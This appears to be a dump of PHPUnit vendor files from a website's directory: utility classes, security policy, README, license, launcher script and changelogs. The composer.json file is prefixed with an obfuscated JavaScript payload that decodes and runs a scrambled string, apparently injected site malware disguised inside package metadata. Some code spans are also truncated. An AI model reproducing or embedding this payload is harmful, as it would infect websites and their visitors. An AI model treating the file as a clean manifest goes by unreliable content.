Registry::getInstance()->forMethod($className, $method->getName()); if ($method->isStatic()) { if ($docBlock->isHookToBeExecutedBeforeClass()) { array_unshift( self::$hookMethods[$className]['beforeClass'], $method->getName() ); } if ($docBlock->isHookToBeExecutedAfterClass()) { self::$hookMethods[$className]['afterClass'][] = $method->getName(); } } if ($docBlock->isToBeExecutedBeforeTest()) { array_unshift( self::$hookMethods[$className]['before'], $method->getName() ); } if ($docBlock->isToBeExecutedAsPreCondition()) { array_unshift( self::$hookMethods[$className]['preCondition'], $method->getName() ); } if ($docBlock->isToBeExecutedAsPostCondition()) { self::$hookMethods[$className]['postCondition'][] = $method->getName(); } if ($docBlock->isToBeExecutedAfterTest()) { self::$hookMethods[$className]['after'][] = $method->getName(); } } } catch (ReflectionException $e) { } } return self::$hookMethods[$className]; } public static function isTestMethod(ReflectionMethod $method): bool { if (!$method->isPublic()) { return false; } if (strpos($method->getName(), 'test') === 0) { return true; } return array_key_exists( 'test', Registry::getInstance()->forMethod( $method->getDeclaringClass()->getName(), $method->getName() ) ->symbolAnnotations() ); } /** * @throws CodeCoverageException * @psalm-param class-string $className */ private static function getLinesToBeCoveredOrUsed(string $className, string $methodName, string $mode): array { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); $classShortcut = null; if (!empty($annotations['class'][$mode . 'DefaultClass'])) { if (count($annotations['class'][$mode . 'DefaultClass']) > 1) { throw new CodeCoverageException( sprintf( 'More than one @%sClass annotation in class or interface "%s".', $mode, $className ) ); } $classShortcut = $annotations['class'][$mode . 'DefaultClass'][0]; } $list = $annotations['class'][$mode] ?? []; if (isset($annotations['method'][$mode])) { $list = array_merge($list, $annotations['method'][$mode]); } $codeUnits = CodeUnitCollection::fromArray([]); $mapper = new Mapper; foreach (array_unique($list) as $element) { if ($classShortcut && strncmp($element, '::', 2) === 0) { $element = $classShortcut . $element; } $element = preg_replace('/[\s()]+$/', '', $element); $element = explode(' ', $element); $element = $element[0]; if ($mode === 'covers' && interface_exists($element)) { throw new InvalidCoversTargetException( sprintf( 'Trying to @cover interface "%s".', $element ) ); } try { $codeUnits = $codeUnits->mergeWith($mapper->stringToCodeUnits($element)); } catch (InvalidCodeUnitException $e) { throw new InvalidCoversTargetException( sprintf( '"@%s %s" is invalid', $mode, $element ), (int) $e->getCode(), $e ); } } return $mapper->codeUnitsToSourceLines($codeUnits); } private static function emptyHookMethodsArray(): array { return [ 'beforeClass' => ['setUpBeforeClass'], 'before' => ['setUp'], 'preCondition' => ['assertPreConditions'], 'postCondition' => ['assertPostConditions'], 'after' => ['tearDown'], 'afterClass' => ['tearDownAfterClass'], ]; } /** @psalm-param class-string $className */ private static function getBooleanAnnotationSetting(string $className, ?string $methodName, string $settingName): ?bool { $annotations = self::parseTestMethodAnnotations( $className, $methodName ); if (isset($annotations['method'][$settingName])) { if ($annotations['method'][$settingName][0] === 'enabled') { return true; } if ($annotations['method'][$settingName][0] === 'disabled') { return false; } } if (isset($annotations['class'][$settingName])) { if ($annotations['class'][$settingName][0] === 'enabled') { return true; } if ($annotations['class'][$settingName][0] === 'disabled') { return false; } } return null; } /** * Trims any extensions from version string that follows after * the .[.] format. */ private static function sanitizeVersionNumber(string $version) { return preg_replace( '/^(\d+\.\d+(?:.\d+)?).*$/', '$1', $version ); } private static function shouldCoversAnnotationBeUsed(array $annotations): bool { if (isset($annotations['method']['coversNothing'])) { return false; } if (isset($annotations['method']['covers'])) { return true; } if (isset($annotations['class']['coversNothing'])) { return false; } return true; } /** * Merge two arrays together. * * If an integer key exists in both arrays and preserveNumericKeys is false, the value * from the second array will be appended to the first array. If both values are arrays, they * are merged together, else the value of the second array overwrites the one of the first array. * * This implementation is copied from https://github.com/zendframework/zend-stdlib/blob/76b653c5e99b40eccf5966e3122c90615134ae46/src/ArrayUtils.php * * Zend Framework (http://framework.zend.com/) * * @see http://github.com/zendframework/zf2 for the canonical source repository * * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ private static function mergeArraysRecursively(array $a, array $b): array { foreach ($b as $key => $value) { if (array_key_exists($key, $a)) { if (is_int($key)) { $a[] = $value; } elseif (is_array($value) && is_array($a[$key])) { $a[$key] = self::mergeArraysRecursively($a[$key], $value); } else { $a[$key] = $value; } } else { $a[$key] = $value; } } return $a; } private static function canonicalizeName(string $name): string { return strtolower(trim($name, '\\')); } } res/readability/vendor/phpunit/phpunit/src/Util/Blacklist.php000064400000001660147577714370020457 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; /** * @deprecated Use ExcludeList instead * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Blacklist { public static function addDirectory(string $directory): void { ExcludeList::addDirectory($directory); } /** * @throws Exception * * @return string[] */ public function getBlacklistedDirectories(): array { return (new ExcludeList)->getExcludedDirectories(); } /** * @throws Exception */ public function isBlacklisted(string $file): bool { return (new ExcludeList)->isExcluded($file); } } res/readability/vendor/phpunit/phpunit/src/Util/VersionComparisonOperator.php000064400000002723147577714370023744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function in_array; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class VersionComparisonOperator { /** * @psalm-var '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' */ private $operator; public function __construct(string $operator) { $this->ensureOperatorIsValid($operator); $this->operator = $operator; } /** * @return '!='|'<'|'<='|'<>'|'='|'=='|'>'|'>='|'eq'|'ge'|'gt'|'le'|'lt'|'ne' */ public function asString(): string { return $this->operator; } /** * @throws Exception * * @psalm-assert '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' $operator */ private function ensureOperatorIsValid(string $operator): void { if (!in_array($operator, ['<', 'lt', '<=', 'le', '>', 'gt', '>=', 'ge', '==', '=', 'eq', '!=', '<>', 'ne'], true)) { throw new Exception( sprintf( '"%s" is not a valid version_compare() operator', $operator ) ); } } } res/readability/vendor/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php000064400000003445147577714370024172 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function addslashes; use function array_map; use function implode; use function is_string; use function realpath; use function sprintf; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage as FilterConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated */ final class XdebugFilterScriptGenerator { public function generate(FilterConfiguration $filter): string { $files = array_map( static function ($item) { return sprintf( " '%s'", $item ); }, $this->getItems($filter) ); $files = implode(",\n", $files); return <<directories() as $directory) { $path = realpath($directory->path()); if (is_string($path)) { $files[] = sprintf( addslashes('%s' . DIRECTORY_SEPARATOR), $path ); } } foreach ($filter->files() as $file) { $files[] = $file->path(); } return $files; } } res/readability/vendor/phpunit/phpunit/src/Util/Cloner.php000064400000001357147577714370017774 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Cloner { /** * @psalm-template OriginalType * * @psalm-param OriginalType $original * * @psalm-return OriginalType */ public static function clone(object $original): object { try { return clone $original; } catch (Throwable $t) { return $original; } } } res/readability/vendor/phpunit/phpunit/src/Exception.php000064400000000654147577714370017572 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } res/readability/vendor/phpunit/phpunit/SECURITY.md000064400000001357147577714370016126 0ustar00# Security Policy PHPUnit is a framework for writing as well as a commandline tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver. **If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** Please note that if you upload PHPUnit to a webserver "bad things" may happen. [You have been warned.](https://thephp.cc/articles/phpunit-a-security-risk) ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. res/readability/vendor/phpunit/phpunit/README.md000064400000005134147577714370015611 0ustar00# PHPUnit PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks. [![Latest Stable Version](https://img.shields.io/packagist/v/phpunit/phpunit.svg?style=flat-square)](https://packagist.org/packages/phpunit/phpunit) [![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.3-8892BF.svg?style=flat-square)](https://php.net/) [![CI Status](https://github.com/sebastianbergmann/phpunit/workflows/CI/badge.svg?branch=9.5&event=push)](https://phpunit.de/build-status.html) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/phpunit/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/phpunit) ## Installation We distribute a [PHP Archive (PHAR)](https://php.net/phar) that has all required (as well as some optional) dependencies of PHPUnit bundled in a single file: ```bash $ wget https://phar.phpunit.de/phpunit-X.Y.phar $ php phpunit-X.Y.phar --version ``` Please replace `X.Y` with the version of PHPUnit you are interested in. Alternatively, you may use [Composer](https://getcomposer.org/) to download and install PHPUnit as well as its dependencies. Please refer to the "[Getting Started](https://phpunit.de/getting-started-with-phpunit.html)" guide for details on how to install PHPUnit. ## Contribute Please refer to [CONTRIBUTING.md](https://github.com/sebastianbergmann/phpunit/blob/master/.github/CONTRIBUTING.md) for information on how to contribute to PHPUnit and its related projects. ## List of Contributors Thanks to everyone who has contributed to PHPUnit! You can find a detailed list of contributors on every PHPUnit related package on GitHub. This list shows only the major components: * [PHPUnit](https://github.com/sebastianbergmann/phpunit/graphs/contributors) * [php-code-coverage](https://github.com/sebastianbergmann/php-code-coverage/graphs/contributors) A very special thanks to everyone who has contributed to the documentation and helps maintain the translations: * [English](https://github.com/sebastianbergmann/phpunit-documentation-english/graphs/contributors) * [Spanish](https://github.com/sebastianbergmann/phpunit-documentation-spanish/graphs/contributors) * [French](https://github.com/sebastianbergmann/phpunit-documentation-french/graphs/contributors) * [Japanese](https://github.com/sebastianbergmann/phpunit-documentation-japanese/graphs/contributors) * [Brazilian Portuguese](https://github.com/sebastianbergmann/phpunit-documentation-brazilian-portuguese/graphs/contributors) * [Simplified Chinese](https://github.com/sebastianbergmann/phpunit-documentation-chinese/graphs/contributors) res/readability/vendor/phpunit/phpunit/LICENSE000064400000003006147577714370015333 0ustar00PHPUnit Copyright (c) 2001-2022, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/phpunit/.phpstorm.meta.php000064400000001221147577714370017713 0ustar00"$0"]) ); override( \PHPUnit\Framework\TestCase::createStub(0), map([""=>"$0"]) ); override( \PHPUnit\Framework\TestCase::createConfiguredMock(0), map([""=>"$0"]) ); override( \PHPUnit\Framework\TestCase::createPartialMock(0), map([""=>"$0"]) ); override( \PHPUnit\Framework\TestCase::createTestProxy(0), map([""=>"$0"]) ); override( \PHPUnit\Framework\TestCase::getMockForAbstractClass(0), map([""=>"$0"]) ); } res/readability/vendor/phpunit/phpunit/composer.json000064400000012614147577714370017055 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpunit/phpunit", "description": "The PHP Unit Testing framework.", "type": "library", "keywords": [ "phpunit", "xunit", "testing" ], "homepage": "https://phpunit.de/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues" }, "prefer-stable": true, "require": { "php": ">=7.3", "ext-dom": "*", "ext-json": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-xml": "*", "ext-xmlwriter": "*", "doctrine/instantiator": "^1.3.1", "myclabs/deep-copy": "^1.10.1", "phar-io/manifest": "^2.0.3", "phar-io/version": "^3.0.2", "phpspec/prophecy": "^1.12.1", "phpunit/php-code-coverage": "^9.2.13", "phpunit/php-file-iterator": "^3.0.5", "phpunit/php-invoker": "^3.1.1", "phpunit/php-text-template": "^2.0.3", "phpunit/php-timer": "^5.0.2", "sebastian/cli-parser": "^1.0.1", "sebastian/code-unit": "^1.0.6", "sebastian/comparator": "^4.0.5", "sebastian/diff": "^4.0.3", "sebastian/environment": "^5.1.3", "sebastian/exporter": "^4.0.3", "sebastian/global-state": "^5.0.1", "sebastian/object-enumerator": "^4.0.3", "sebastian/resource-operations": "^3.0.3", "sebastian/type": "^3.0", "sebastian/version": "^3.0.2" }, "require-dev": { "ext-PDO": "*", "phpspec/prophecy-phpunit": "^2.0.1" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "suggest": { "ext-soap": "*", "ext-xdebug": "*" }, "bin": [ "phpunit" ], "autoload": { "classmap": [ "src/" ], "files": [ "src/Framework/Assert/Functions.php" ] }, "autoload-dev": { "classmap": [ "tests/" ], "files": [ "tests/_files/CoverageNamespacedFunctionTest.php", "tests/_files/CoveredFunction.php", "tests/_files/NamespaceCoveredFunction.php" ] }, "extra": { "branch-alias": { "dev-master": "9.5-dev" } } } res/readability/vendor/phpunit/phpunit/phpunit000064400000004446147577714370015751 0ustar00#!/usr/bin/env php * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (!version_compare(PHP_VERSION, PHP_VERSION, '=')) { fwrite( STDERR, sprintf( '%s declares an invalid value for PHP_VERSION.' . PHP_EOL . 'This breaks fundamental functionality such as version_compare().' . PHP_EOL . 'Please use a different PHP interpreter.' . PHP_EOL, PHP_BINARY ) ); die(1); } if (version_compare('7.3.0', PHP_VERSION, '>')) { fwrite( STDERR, sprintf( 'This version of PHPUnit requires PHP >= 7.3.' . PHP_EOL . 'You are using PHP %s (%s).' . PHP_EOL, PHP_VERSION, PHP_BINARY ) ); die(1); } foreach (['dom', 'json', 'libxml', 'mbstring', 'tokenizer', 'xml', 'xmlwriter'] as $extension) { if (extension_loaded($extension)) { continue; } fwrite( STDERR, sprintf( 'PHPUnit requires the "%s" extension.' . PHP_EOL, $extension ) ); die(1); } if (!ini_get('date.timezone')) { ini_set('date.timezone', 'UTC'); } if (isset($GLOBALS['_composer_autoload_path'])) { define('PHPUNIT_COMPOSER_INSTALL', $GLOBALS['_composer_autoload_path']); unset($GLOBALS['_composer_autoload_path']); } else { foreach (array(__DIR__ . '/../../autoload.php', __DIR__ . '/../vendor/autoload.php', __DIR__ . '/vendor/autoload.php') as $file) { if (file_exists($file)) { define('PHPUNIT_COMPOSER_INSTALL', $file); break; } } unset($file); } if (!defined('PHPUNIT_COMPOSER_INSTALL')) { fwrite( STDERR, 'You need to set up the project dependencies using Composer:' . PHP_EOL . PHP_EOL . ' composer install' . PHP_EOL . PHP_EOL . 'You can learn all about Composer on https://getcomposer.org/.' . PHP_EOL ); die(1); } $options = getopt('', array('prepend:')); if (isset($options['prepend'])) { require $options['prepend']; } unset($options); require PHPUNIT_COMPOSER_INSTALL; PHPUnit\TextUI\Command::main(); res/readability/vendor/phpunit/phpunit/ChangeLog-8.5.md000064400000027151147577714370017016 0ustar00# Changes in PHPUnit 8.5 All notable changes of the PHPUnit 8.5 release series are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [8.5.26] - 2022-04-01 ### Fixed * [#4938](https://github.com/sebastianbergmann/phpunit/issues/4938): Test Double code generator does not handle `void` return type declaration on `__clone()` methods ## [8.5.25] - 2022-03-16 ### Fixed * [#4934](https://github.com/sebastianbergmann/phpunit/issues/4934): Code Coverage does not work with PHPUnit 8.5.24 PHAR on PHP 7 ## [8.5.24] - 2022-03-05 - #StandWithUkraine ### Changed * [#4874](https://github.com/sebastianbergmann/phpunit/pull/4874): `PHP_FLOAT_EPSILON` is now used instead of hardcoded `0.0000000001` in `PHPUnit\Framework\Constraint\IsIdentical` ### Fixed * When the HTML code coverage report's configured low upper bound is larger than the high lower bound then the default values are used instead ## [8.5.23] - 2022-01-21 ### Fixed * [#4799](https://github.com/sebastianbergmann/phpunit/pull/4799): Memory leaks in `PHPUnit\Framework\TestSuite` class * [#4857](https://github.com/sebastianbergmann/phpunit/pull/4857): Result of `debug_backtrace()` is not used correctly ## [8.5.22] - 2021-12-25 ### Changed * [#4812](https://github.com/sebastianbergmann/phpunit/issues/4812): Do not enforce time limits when a debugging session through DBGp is active * [#4835](https://github.com/sebastianbergmann/phpunit/issues/4835): Support for `$GLOBALS['_composer_autoload_path']` introduced in Composer 2.2 ### Fixed * [#4840](https://github.com/sebastianbergmann/phpunit/pull/4840): TestDox prettifying for class names does not correctly handle diacritics * [#4846](https://github.com/sebastianbergmann/phpunit/pull/4846): Composer proxy script is not ignored ## [8.5.21] - 2021-09-25 ### Changed * PHPUnit no longer converts PHP deprecations to exceptions by default (configure `convertDeprecationsToExceptions="true"` to enable this) * The PHPUnit XML configuration file generator now configures `convertDeprecationsToExceptions="true"` ### Fixed * [#4772](https://github.com/sebastianbergmann/phpunit/pull/4772): TestDox HTML report not displayed correctly when browser has custom colour settings ## [8.5.20] - 2021-08-31 ### Fixed * [#4751](https://github.com/sebastianbergmann/phpunit/issues/4751): Configuration validation fails when using brackets in glob pattern ## [8.5.19] - 2021-07-31 ### Fixed * [#4740](https://github.com/sebastianbergmann/phpunit/issues/4740): `phpunit.phar` does not work with PHP 8.1 ## [8.5.18] - 2021-07-19 ### Fixed * [#4720](https://github.com/sebastianbergmann/phpunit/issues/4720): PHPUnit does not verify its own PHP extension requirements ## [8.5.17] - 2021-06-23 ### Changed * PHPUnit now errors out on startup when `PHP_VERSION` contains a value that is not compatible with `version_compare()`, for instance `X.Y.Z-(to be removed in future macOS)` ## [8.5.16] - 2021-06-05 ### Changed * The test result cache (the storage for which is implemented in `PHPUnit\Runner\DefaultTestResultCache`) no longer uses PHP's `serialize()` and `unserialize()` functions for persistence. It now uses a versioned JSON format instead that is independent of PHP implementation details (see [#3581](https://github.com/sebastianbergmann/phpunit/issues/3581) and [#4662](https://github.com/sebastianbergmann/phpunit/pull/4662) for examples why this is a problem). When PHPUnit tries to load the test result cache from a file that does not exist, or from a file that does not contain data in JSON format, or from a file that contains data in a JSON format version other than the one used by the currently running PHPUnit version, then this is considered to be a "cache miss". An empty `DefaultTestResultCache` object is created in this case. This should also prevent PHPUnit from crashing when trying to load a test result cache file created by a different version of PHPUnit (see [#4580](https://github.com/sebastianbergmann/phpunit/issues/4580) for example). ### Fixed * [#4663](https://github.com/sebastianbergmann/phpunit/issues/4663): `TestCase::expectError()` works on PHP 7.3, but not on PHP >= 7.4 * [#4678](https://github.com/sebastianbergmann/phpunit/pull/4678): Stubbed methods with `iterable` return types should return empty array by default * [#4692](https://github.com/sebastianbergmann/phpunit/issues/4692): Annotations in single-line doc-comments are not handled correctly * [#4694](https://github.com/sebastianbergmann/phpunit/issues/4694): `TestCase::getMockFromWsdl()` does not work with PHP 8.1-dev ## [8.5.15] - 2021-03-17 ### Fixed * [#4591](https://github.com/sebastianbergmann/phpunit/issues/4591): TeamCity logger logs warnings as test failures ## [8.5.14] - 2021-01-17 ### Fixed * [#4535](https://github.com/sebastianbergmann/phpunit/issues/4535): `getMockFromWsdl()` does not handle methods that do not have parameters correctly * [#4572](https://github.com/sebastianbergmann/phpunit/issues/4572): Schema validation does not work with `%xx` sequences in path to `phpunit.xsd` * [#4575](https://github.com/sebastianbergmann/phpunit/issues/4575): PHPUnit 8.5 incompatibility with PHP 8.1 ## [8.5.13] - 2020-12-01 ### Fixed * Running tests in isolated processes did not work with PHP 8 on Windows ## [8.5.12] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` to allow the installation of PHPUnit 8.5 on PHP 8. Please note that the code coverage functionality is not available for PHPUnit 8.5 on PHP 8. ### Fixed * [#4529](https://github.com/sebastianbergmann/phpunit/issues/4529): Debug mode of Xdebug 2 is not disabled for PHPT tests ## [8.5.11] - 2020-11-27 ### Changed * Bumped required version of `phpunit/php-code-coverage` ## [8.5.10] - 2020-11-27 ### Added * Support for Xdebug 3 ### Fixed * [#4516](https://github.com/sebastianbergmann/phpunit/issues/4516): `phpunit/phpunit-selenium` does not work with PHPUnit 8.5.9 ## [8.5.9] - 2020-11-10 ### Fixed * [#3965](https://github.com/sebastianbergmann/phpunit/issues/3965): Process Isolation throws exceptions when PHPDBG is used * [#4470](https://github.com/sebastianbergmann/phpunit/pull/4470): Infinite recursion when `--static-backup --strict-global-state` is used ## [8.5.8] - 2020-06-22 ### Fixed * [#4312](https://github.com/sebastianbergmann/phpunit/issues/4312): Fix for [#4299](https://github.com/sebastianbergmann/phpunit/issues/4299) breaks backward compatibility ## [8.5.7] - 2020-06-21 ### Fixed * [#4299](https://github.com/sebastianbergmann/phpunit/issues/4299): "No tests executed" does not always result in exit code `1` * [#4306](https://github.com/sebastianbergmann/phpunit/issues/4306): Exceptions during code coverage driver initialization are not handled correctly ## [8.5.6] - 2020-06-15 ### Fixed * [#4211](https://github.com/sebastianbergmann/phpunit/issues/4211): `phpdbg_*()` functions are scoped to `PHPUnit\phpdbg_*()` ## [8.5.5] - 2020-05-22 ### Fixed * [#4033](https://github.com/sebastianbergmann/phpunit/issues/4033): Unexpected behaviour when `$GLOBALS` is deleted ## [8.5.4] - 2020-04-23 ### Changed * Changed how `PHPUnit\TextUI\Command` passes warnings to `PHPUnit\TextUI\TestRunner` ## [8.5.3] - 2020-03-31 ### Fixed * [#4017](https://github.com/sebastianbergmann/phpunit/issues/4017): Do not suggest refactoring to something that is also deprecated * [#4133](https://github.com/sebastianbergmann/phpunit/issues/4133): `expectExceptionMessageRegExp()` has been removed in PHPUnit 9 without a deprecation warning being given in PHPUnit 8 * [#4139](https://github.com/sebastianbergmann/phpunit/issues/4139): Cannot double interfaces that declare a constructor with PHP 8 * [#4144](https://github.com/sebastianbergmann/phpunit/issues/4144): Empty objects are converted to empty arrays in JSON comparison failure diff ## [8.5.2] - 2020-01-08 ### Removed * `eval-stdin.php` has been removed, it was not used anymore since PHPUnit 7.2.7 ## [8.5.1] - 2019-12-25 ### Changed * `eval-stdin.php` can now only be executed with `cli` and `phpdbg` ### Fixed * [#3983](https://github.com/sebastianbergmann/phpunit/issues/3983): Deprecation warning given too eagerly ## [8.5.0] - 2019-12-06 ### Added * [#3911](https://github.com/sebastianbergmann/phpunit/issues/3911): Support combined use of `addMethods()` and `onlyMethods()` * [#3949](https://github.com/sebastianbergmann/phpunit/issues/3949): Introduce specialized assertions `assertFileEqualsCanonicalizing()`, `assertFileEqualsIgnoringCase()`, `assertStringEqualsFileCanonicalizing()`, `assertStringEqualsFileIgnoringCase()`, `assertFileNotEqualsCanonicalizing()`, `assertFileNotEqualsIgnoringCase()`, `assertStringNotEqualsFileCanonicalizing()`, and `assertStringNotEqualsFileIgnoringCase()` as alternative to using `assertFileEquals()` etc. with optional parameters ### Changed * [#3860](https://github.com/sebastianbergmann/phpunit/pull/3860): Deprecate invoking PHPUnit commandline test runner with just a class name * [#3950](https://github.com/sebastianbergmann/phpunit/issues/3950): Deprecate optional parameters of `assertFileEquals()` etc. * [#3955](https://github.com/sebastianbergmann/phpunit/issues/3955): Deprecate support for doubling multiple interfaces ### Fixed * [#3953](https://github.com/sebastianbergmann/phpunit/issues/3953): Code Coverage for test executed in isolation does not work when the PHAR is used * [#3967](https://github.com/sebastianbergmann/phpunit/issues/3967): Cannot double interface that extends interface that extends `\Throwable` * [#3968](https://github.com/sebastianbergmann/phpunit/pull/3968): Test class run in a separate PHP process are passing when `exit` called inside [8.5.26]: https://github.com/sebastianbergmann/phpunit/compare/8.5.25...8.5.26 [8.5.25]: https://github.com/sebastianbergmann/phpunit/compare/8.5.24...8.5.25 [8.5.24]: https://github.com/sebastianbergmann/phpunit/compare/8.5.23...8.5.24 [8.5.23]: https://github.com/sebastianbergmann/phpunit/compare/8.5.22...8.5.23 [8.5.22]: https://github.com/sebastianbergmann/phpunit/compare/8.5.21...8.5.22 [8.5.21]: https://github.com/sebastianbergmann/phpunit/compare/8.5.20...8.5.21 [8.5.20]: https://github.com/sebastianbergmann/phpunit/compare/8.5.19...8.5.20 [8.5.19]: https://github.com/sebastianbergmann/phpunit/compare/8.5.18...8.5.19 [8.5.18]: https://github.com/sebastianbergmann/phpunit/compare/8.5.17...8.5.18 [8.5.17]: https://github.com/sebastianbergmann/phpunit/compare/8.5.16...8.5.17 [8.5.16]: https://github.com/sebastianbergmann/phpunit/compare/8.5.15...8.5.16 [8.5.15]: https://github.com/sebastianbergmann/phpunit/compare/8.5.14...8.5.15 [8.5.14]: https://github.com/sebastianbergmann/phpunit/compare/8.5.13...8.5.14 [8.5.13]: https://github.com/sebastianbergmann/phpunit/compare/8.5.12...8.5.13 [8.5.12]: https://github.com/sebastianbergmann/phpunit/compare/8.5.11...8.5.12 [8.5.11]: https://github.com/sebastianbergmann/phpunit/compare/8.5.10...8.5.11 [8.5.10]: https://github.com/sebastianbergmann/phpunit/compare/8.5.9...8.5.10 [8.5.9]: https://github.com/sebastianbergmann/phpunit/compare/8.5.8...8.5.9 [8.5.8]: https://github.com/sebastianbergmann/phpunit/compare/8.5.7...8.5.8 [8.5.7]: https://github.com/sebastianbergmann/phpunit/compare/8.5.6...8.5.7 [8.5.6]: https://github.com/sebastianbergmann/phpunit/compare/8.5.5...8.5.6 [8.5.5]: https://github.com/sebastianbergmann/phpunit/compare/8.5.4...8.5.5 [8.5.4]: https://github.com/sebastianbergmann/phpunit/compare/8.5.3...8.5.4 [8.5.3]: https://github.com/sebastianbergmann/phpunit/compare/8.5.2...8.5.3 [8.5.2]: https://github.com/sebastianbergmann/phpunit/compare/8.5.1...8.5.2 [8.5.1]: https://github.com/sebastianbergmann/phpunit/compare/8.5.0...8.5.1 [8.5.0]: https://github.com/sebastianbergmann/phpunit/compare/8.4.3...8.5.0 res/readability/vendor/phpunit/phpunit/ChangeLog-9.5.md000064400000022225147577714370017014 0ustar00# Changes in PHPUnit 9.5 All notable changes of the PHPUnit 9.5 release series are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [9.5.20] - 